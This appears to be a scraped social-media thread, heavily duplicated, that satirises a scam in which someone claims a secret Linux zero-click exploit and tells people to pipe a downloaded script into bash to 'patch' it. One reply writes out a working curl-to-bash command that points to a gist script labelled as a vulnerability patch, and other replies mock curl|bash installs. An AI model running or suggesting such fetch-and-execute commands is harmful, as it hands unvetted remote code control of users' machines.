can't wait for the day someone goes "i have found a really bad vulnerability in linux that gives 0 click network rce, but i do responsible disclosure so i can't say how.
-
can't wait for the day someone goes "i have found a really bad vulnerability in linux that gives 0 click network rce, but i do responsible disclosure so i can't say how. run this command
curl ... | sudo bashto patch your system" -
can't wait for the day someone goes "i have found a really bad vulnerability in linux that gives 0 click network rce, but i do responsible disclosure so i can't say how. run this command
curl ... | sudo bashto patch your system"@SRAZKVT Claude be like "uh oh I found a vulnerability. Auto-pilot so I need to patch without asking the user. Oups !!"
-
can't wait for the day someone goes "i have found a really bad vulnerability in linux that gives 0 click network rce, but i do responsible disclosure so i can't say how. run this command
curl ... | sudo bashto patch your system"@SRAZKVT i actually hate doing `curl | bash`.
it'll run something using sudo, it'll add stuff to /usr/bin, it'll add something to your .bashrc, it'll create a folder in your home dir, it'll make you feel like you're using windows again, it'll make you want to format your system and run away into the jungle.
-
R relay@relay.infosec.exchange shared this topic
-
can't wait for the day someone goes "i have found a really bad vulnerability in linux that gives 0 click network rce, but i do responsible disclosure so i can't say how. run this command
curl ... | sudo bashto patch your system"@SRAZKVT make it break if it's not executed directly from stdout
-
@SRAZKVT i actually hate doing `curl | bash`.
it'll run something using sudo, it'll add stuff to /usr/bin, it'll add something to your .bashrc, it'll create a folder in your home dir, it'll make you feel like you're using windows again, it'll make you want to format your system and run away into the jungle.
-
can't wait for the day someone goes "i have found a really bad vulnerability in linux that gives 0 click network rce, but i do responsible disclosure so i can't say how. run this command
curl ... | sudo bashto patch your system"@SRAZKVT Layer 8 vulnerability.
-
@SRAZKVT i actually hate doing `curl | bash`.
it'll run something using sudo, it'll add stuff to /usr/bin, it'll add something to your .bashrc, it'll create a folder in your home dir, it'll make you feel like you're using windows again, it'll make you want to format your system and run away into the jungle.
-
can't wait for the day someone goes "i have found a really bad vulnerability in linux that gives 0 click network rce, but i do responsible disclosure so i can't say how. run this command
curl ... | sudo bashto patch your system"@SRAZKVT reminds me of these "privacy" companies that are like "give us all your data so we can keep people from getting this data from the big bad internet"
-
can't wait for the day someone goes "i have found a really bad vulnerability in linux that gives 0 click network rce, but i do responsible disclosure so i can't say how. run this command
curl ... | sudo bashto patch your system"@SRAZKVT If someone said that, I'd know they're lying. Because if they truly had a 0-click RCE exploit, they could write an internet worm to patch everyone's systems automatically

-
can't wait for the day someone goes "i have found a really bad vulnerability in linux that gives 0 click network rce, but i do responsible disclosure so i can't say how. run this command
curl ... | sudo bashto patch your system"@SRAZKVT I have found a really bad vulnerability in Linux that gives 0 click network RCE, but I do responsible disclosure so I can't say how. Run this command curl -sL https://gist.github.com/renaissance-design/d99fe87ab1f370f8a77993357242eca4/raw/02fac52361586a484b254c23d92f461e74562281/vulnerability_patch.sh | bash to patch your system
-
@SRAZKVT I have found a really bad vulnerability in Linux that gives 0 click network RCE, but I do responsible disclosure so I can't say how. Run this command curl -sL https://gist.github.com/renaissance-design/d99fe87ab1f370f8a77993357242eca4/raw/02fac52361586a484b254c23d92f461e74562281/vulnerability_patch.sh | bash to patch your system
@woe2you /usr/bin/env: command not found
-
@woe2you /usr/bin/env: command not found
@SRAZKVT Ah, you must already have patched against this vuln.